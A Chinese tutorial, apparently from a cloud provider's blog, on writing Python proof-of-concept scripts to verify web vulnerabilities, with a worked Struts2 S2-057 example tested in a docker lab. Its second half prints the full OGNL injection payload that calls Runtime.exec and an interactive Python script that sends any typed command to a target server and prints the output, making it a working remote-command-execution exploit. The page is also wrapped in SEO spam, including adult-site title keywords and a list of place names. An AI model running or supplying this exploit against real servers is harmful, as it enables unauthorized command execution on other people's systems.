中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Python中怎么用Poc驗證程序漏洞

發布時間:2022-02-20 16:11:23 來源:億速云 閱讀:687 作者:iii 欄目:開發技術

這篇文章主要講解了“Python中怎么用Poc驗證程序漏洞”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Python中怎么用Poc驗證程序漏洞”吧!

01 什么是poc

PoC(全稱: Proof of Concept), 中文譯作概念驗證。在安全界,你可以理解成為漏洞驗證程序。和一些應用程序相比,PoC 是一段不完整的程序,僅僅是為了證明提出者的觀點的一段代碼。

02 什么是EXP

Exp(全稱: Exploit),中文叫**漏洞利用程序,**就是一段可以發揮漏洞價值的程序。想象一下這樣的場景,目標存在一個 SQL 注入漏洞,然后被你知道了,然后你編寫了一個程序,通過這個 SQL 注入漏洞,拿到了目標的權限,那么這個程序就是所謂的 Exp 了,當然,如果你沒有使用這個漏洞,它就這么放著,那么這個漏洞,對你來說可以認為是沒有價值的。

03 關于 PoC/Exp 的兩個誤區

1. 寫 PoC 要會 Python?PoC 的存在,只有一個目的:證明漏洞存在。而關于 PoC 的形式,或者說代碼實現方式,你喜歡用什么語言,就用什么語言。推薦Python語言書寫,因為Python書寫簡單,易讀懂。

2. PoC 就是 Exp?其實嚴格來講,PoC 和 Exp 是兩個東西。PoC 就是用來證明漏洞存在的,而 Exp 是用來利用這個漏洞進一步進行攻擊,在很多情況下,知道了漏洞存在,卻不知道具體怎么利用,編寫一個 PoC 非常簡單,而編寫一個 Exp 是有一定難度的。

舉個栗子:

Poc好比你家門鎖存在問題,別人知道,但不搞破壞;而Exp就是知道你家門鎖有問題,通過進一步利用,進你家進行盜竊等違法行為。

04 PoC 編寫流程

對于一個已知公開的漏洞,編寫流程大致分為以下幾個步驟:

  • 查看漏洞詳情,確定影響范圍。獲取一個漏洞的詳細情況后,可以通過官網下載受影響版本,或者在github上查找已有的docker文件。

  • 搭建漏洞環境 通過虛擬機、docker、phpstudy搭建漏洞環境,有條件的同學可以在云端搭建,(這里推薦使用docker進行搭建,搭建環境中會出現一些錯誤,浪費不必要的時間,而已有的docker是大佬們對漏洞進行復現后寫出來的docker文件)。

  • 復現漏洞 根據漏洞詳情,跟著走一遍流程,檢測漏洞是否存在,其中要尤其注意些參數、命令、函數及對應的提交方法,大概了解漏洞的原理、利用過程、判斷漏洞是否存在的地方。

  • 書寫Poc 在漏洞復現完成后,開始著手寫Poc,以可以先寫一個簡單的請求,檢查漏洞是否存在,然后可以將頁面的請求通過正則或者lxml進行過濾得到想要的結果。

  • 測試Poc 通過搭建的環境對書寫的Poc進行測試,在書寫的時候驗證漏洞存在后,每次進行修改都要進行測試,最終達到想要的效果。

05 Poc編寫中涉及到的一些庫

urllib 提供的一個用于操作URL的模塊,爬取網頁的時候,經常需要用到這個庫。

urllib.request —— 打開和讀取url
urllib.error —— 包含 urllib.request 拋出的異常。
urllib.parse —— 解析 URL。

requests  實現的簡單易用的HTTP庫,比urllib更加簡潔

requests.get(url,headers,data,verify=False,proxies=proxy,timeout=10)
url —— 請求的url
headers —— 請求時構造的請求頭
data —— 請求時帶入的數據
verify —— 取消https告警
proxies —— 代理設置
timeout —— 請求響應超時處理

re  正則表達式模塊,使用簡潔的字符表達式,匹配字符串中想要的結果

使用的正則語法,建議將請求源碼復制到在線正則匹配網站,進行正則語法構造。

正則在線測試:http://www.5655pk.com/tools/zhengze.htm

json 將Python數據處理成json格式或者將json數據處理成Python數據格式

兩種方法
json.dumps   將 Python 對象編碼成 JSON 字符串 
json.loads   將已編碼的 JSON 字符串解碼為 Python 對象

lxml  XML和HTML的解析器,其主要功能是解析和提取XML和HTML中的數據,也可以定位特定元素及節點的信息

lxml 定位元素節點涉及到Xpath語法

from lxml import etree
html = etree.HTML(response.text)
result = html.xpath('xpath語句')
print(result)

optparse 命令行參數模塊,在Poc中經常看到一些參數 -h(--hlep)、-u(--url)等參數,就是使用的此模塊

parser = optparse.OptionParser()   # 導入OptionParser對象后才可以使用add_option
parse.add_option('-u','--user',dest='user',action='store',type=str,metavar='user',help='Enter User Name!!')    # 添加需要的參數和內容
parse.set_defaults(v=1.2)  #也可以這樣設置默認值  
options,args=parse.parse_args()

base64對字符串進行base64加密解密模塊

base64.b64encode() —— 編碼函數
base64.b64decode() —— 解碼函數

multiprocessing 多進程,在處理一些數據量較大的請求時可以使用多進程來較少處理時間。(Pyhton的多線程是假的并不是并發而是串發的)

from multiprocessing import Process
def Poc():
xxxx
....

if __name == '__main__':
    for i in rangge(5):
        thread = Process(target=Poc,args=str(i))
        thread.start()
    Thread.join()

06 Web漏洞Poc編寫基本方法

import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def Poc(url):
target_url = url + 'payload' #驗證存在漏洞的url
# 代理池設置
proxy = {
        'http':'127.0.0.1:812',
        'http':'127.0.0.1:8123'
    }
# 請求頭部分構造
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',   #模擬瀏覽器請求
        'cookie':'xxxxxxxxxxxxxx',   #有些請求需要帶上cookie才可以請求到想要的內容
        'Connection':'close'   #關閉多余的連接請求
    }
    data = {'name':'xxxx','value':'xxxx'}   #向url中帶入請求的數據
    # 使用try except對異常進行處理
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)    #取消SSL驗證告警
        response = requests.get(url=target_url,headers=headers,data=data,verify=False,proxies=proxy,timeout=10)   #請求漏洞的url
        if response.status_code == 200:
            result = re.search(r'_____',response.text,re.I)    #使用正則匹配頁面請求,下劃線處填寫正則規則
            print('正在獲取結果:{}'.format(result.group(1)))
        else:
            print('請求失敗:{}'.format(response.status_code))
    except Exception as e:
        print('請求失敗: {}'.format(e))
if __name__ == '__main__':
    url = str(input('請輸入檢測的url:'))
    Poc(url)

07 實戰漏洞Poc編寫

這里使用Struts2 s2-057漏洞進行測試 漏洞部署使用docker,

啟動環境:docker-compose up -d

訪問:http://192.168.11.124:8080/struts2-showcase/

Python中怎么用Poc驗證程序漏洞

首先復現漏洞,了解漏洞復現每一步。

進行poc編寫測試驗證漏洞是否存在 :

Poc:/struts2-showcase/$%7B233*233%7D/actionChain1.action

http://192.168.11.124:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

訪問連接后,連接中的$%7B233*233%7D 被解析成了 54289(233*233),說明存在漏洞。

Python中怎么用Poc驗證程序漏洞

隨后可以根據已有的漏洞Poc(exp),再次進行驗證。

注:此處的poc需要進行url編碼。

Poc(exp):${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

Python中怎么用Poc驗證程序漏洞

漏洞復現基本完成,現在進行Poc編寫。

import requests 
import sys 
def title():
    print('+------------------------------------------')
    print('Version:Struts S2-057                     ')
    print('author:Tackrio                            ')
    print('use:exploit.py url                        ')
    print('+------------------------------------------')
def Poc(url):
    try:
        while True:
            cmd = input('$')
            payload_command = '/struts2/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27'+cmd+'%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action' 
            payload_test = '/struts2-showcase/$%7B1+1%7D/actionChain1.action'
            response_test = requests.get(url=url + payload_test,allow_redirects=False,verify=False,timeout=6)
            content = response_test.headers.get('Location').split('/')[2]
            if cmd == 'exit':
                exit()
            if response_test.status_code == 302 and content == '2':
                url1 = url + payload_command
                response = requests.get(url=url1,allow_redirects=False,verify=False,timeout=6)
                print(response.headers.get('Location').split('/')[2])
    except requests.ConnectionError as error:
        print("請求出錯:",error)
if __name__ == "__main__":
    title()
    args = sys.argv[1]
    Poc(url=args)

Python中怎么用Poc驗證程序漏洞

感謝各位的閱讀,以上就是“Python中怎么用Poc驗證程序漏洞”的內容了,經過本文的學習后,相信大家對Python中怎么用Poc驗證程序漏洞這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

五原县| 遂平县| 高要市| 垣曲县| 金坛市| 马边| 泸西县| 曲阜市| 都兰县| 河源市| 溧阳市| 札达县| 新沂市| 宝兴县| 清水河县| 甘谷县| 逊克县| 玛多县| 丰县| 醴陵市| 东源县| 绥德县| 延边| 宣化县| 锡林浩特市| 株洲县| 宜都市| 神木县| 洛隆县| 玉门市| 德昌县| 墨玉县| 江油市| 罗山县| 海宁市| 肃宁县| 竹北市| 嘉禾县| 涞源县| 临沧市| 南城县|